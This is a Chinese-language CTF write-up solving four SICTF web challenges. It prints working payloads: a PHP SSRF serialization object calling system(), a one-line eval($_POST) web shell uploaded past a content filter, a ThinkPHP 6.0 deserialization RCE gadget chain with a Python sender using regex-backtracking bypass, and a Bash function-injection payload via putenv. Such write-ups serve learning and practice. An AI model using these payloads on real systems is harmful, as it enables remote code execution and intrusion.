sictf_web

@[TOC]

EZ_SSRF

直接进 一眼反序列化
但是 url设置成为127.0.0.1/flag 无法读取
提示 隐藏了其他文件 扫描目录 那我们就可以看看他有什么文件 目录扫描看到admin.php
进去admin.php

 <?phperror_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {
die("You can't get flag");
} else {
echo $flag;
}
?> 
> 
> 直接利用首页的反序列化和ssrf 访问admin.php  
> 可以构造

```php
<?php
class client
{
    public $url = "http://127.0.0.1/admin.php";
    public $payload = "system(\"cat /flag\");
";
}
$a = new client();
echo serialize($a);
?>

100_upload

直接看路由 直接就是一个文件包含 直接
php://filter/read=convert.base64-encode/resource=upload.php
读取源码

if (!preg_match("/ph.|htaccess/i", $ext)){			if(preg_match("/<\?php/i", $text)){				echo "茂夫说:你的文件内容不太对劲哦<br>";			}			else{				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);				echo "上传成功<br>路径为:" . $uploadfile . "<br>";			}		} 		else {			echo "恶意后缀哦<br>";					}

可以看到我们其实不用考虑文件的后缀名直接看过滤的文件内容即可
不能有 <?php
直接构造

<?    eval($_POST['x']);?>
 ?>

后缀写成txt都行上传后 利用文件包含 解析 连接

Oyst3rPHP

目录扫描得到 www.zip 源码

public function index()  {
echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
echo "<img src='../Oyster.png'"."/>";
$payload = base64_decode(@$_POST['payload']);
$right = @$_GET['left'];
$left = @$_GET['right'];
$key = (string)@$_POST['key'];
if($right !== $left && md5($right) == md5($left)){
    echo "Congratulations on getting your first oyster";	echo "<img src='../Oyster1.png'"."/>";
    if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}		echo "WOW!!!Congratulations on getting your second oyster";	echo "<img src='../Oyster2.png'"."/>";
    
@unserialize($payload);	//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???	//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!	//小Tips:细狗函数┗|`O′|┛ 嗷~~
}  }

可以看到 是thinkphp6.0 并且设置了一个md5
弱比较绕过 直接s878926199a s155964671a 两个值可以绕过
之后就是preg_match的绕过 可以使用回溯绕过
最后 @unserialize($payload); 可以根据提示 找到 thinkphp6.0 存在反序列化漏洞
找到exp 可以直接rce
这里给出官方wp的相关反序列化代码

<?phpnamespace think\model\concern;
trait Attribute{
private $data = ["key"=>"cat /Oyst3333333r.php"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract 
class Model{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}namespace think\model;
use think\Model;
class Pivot extends Model{
}
$a=new Pivot();
$b=new Pivot($a);
echo urlencode(base64_encode(serialize($b));

注意代码的:

private $data = ["key"=>"cat /Oyst3333333r.php"];private $withAttr = ["key"=>"system"];

由于要 回溯 写一段python脚本

# 
@description: sictf的一次利用thinkphp6 的反序列化漏洞# 
@time:2024/2/28# 
@author:K1t0
from requests 
import *url="url和端口?left=s878926199a&right=s155964671a"data={
"key":"A"*1000000+"603THINKPHP","payload":"TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2R\lbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbA\BleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086M\Tc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtz\OjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODo\iAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE\1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6M\jE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czox\NzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzN\yLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319"}
#res=session.request("post",url,params=params,data=data,headers=headers)  也可以用session的会话来发包res=post(url,data)
print(res.text)

Not just unserialize

题目描述:
看似平平无奇的反序列化题,出题人却在dockerfile里添加了这样一行奇怪命令:RUN ln -sf /bin/bash /bin/sh……
RUN ln -sf /bin/bash /bin/sh…… 解释:

这条命令是在Linux系统中创建一个名为sh的软链接,指向/bin/bash。通过这个命令,将/bin/sh链接到/bin/bash上,就相当于将系统中默认的Shell解释器从原本的/bin/sh改为了/bin/bash。

题目代码:

<?phphighlight_file(__FILE__);
class start{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public  function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo '  Welcome to new year!  ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year  ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{
$inject}
={
$rce}
");
}
system("echo \"Haven't you get the secret?\"");
}
}if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?> ?>

pop 链很好看出来就是从上到下 直接序列化 好戏在后面
唯一要注意的是:

if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year  ';
empty($this->last->worries);
}

这里有个preg_match的绕过 两个方法

  1. $this->newyear=\nworries
  2. $this->newyear=Worries 哈哈这个应该再限制一个i的不区分大小写

最后最重要的来了

{
foreach ($_GET['get'] as $inject => $rce){
putenv("{
$inject}
={
$rce}
");
}
system("echo \"Haven't you get the secret?\"");
}

最后一段 其实是利用了 一个 环境变量 的注入,最后执行命令
主要是因为 变量设置之后 再执行 bash -c “echo hello”我们可以替换 echo命令的函数
从而执行我们想要的命令
大致就是这个流程env $’BASH_FUNC_echo%%=() { id; }’ bash -c ‘echo hello’
因此首先构造

<?php
class start
{
    public $welcome;
    public $you;
}
class SE
{
    public $year;
}
class CR
{
    public $last;
    public $newyear;
}
class ET {}
$a = new start();
$a->welcome = new SE();
$a->welcome->year = new CR();
$a->welcome->year->newyear = "Worries";
$a->welcome->year->last = new ET();
$b = base64_encode(serialize($a));
echo $b;
?>

得到:
Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=
最后直接发包
地址端口/?go= Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=&get[BASH_FUNC_echo%%]=() { cat /f*; }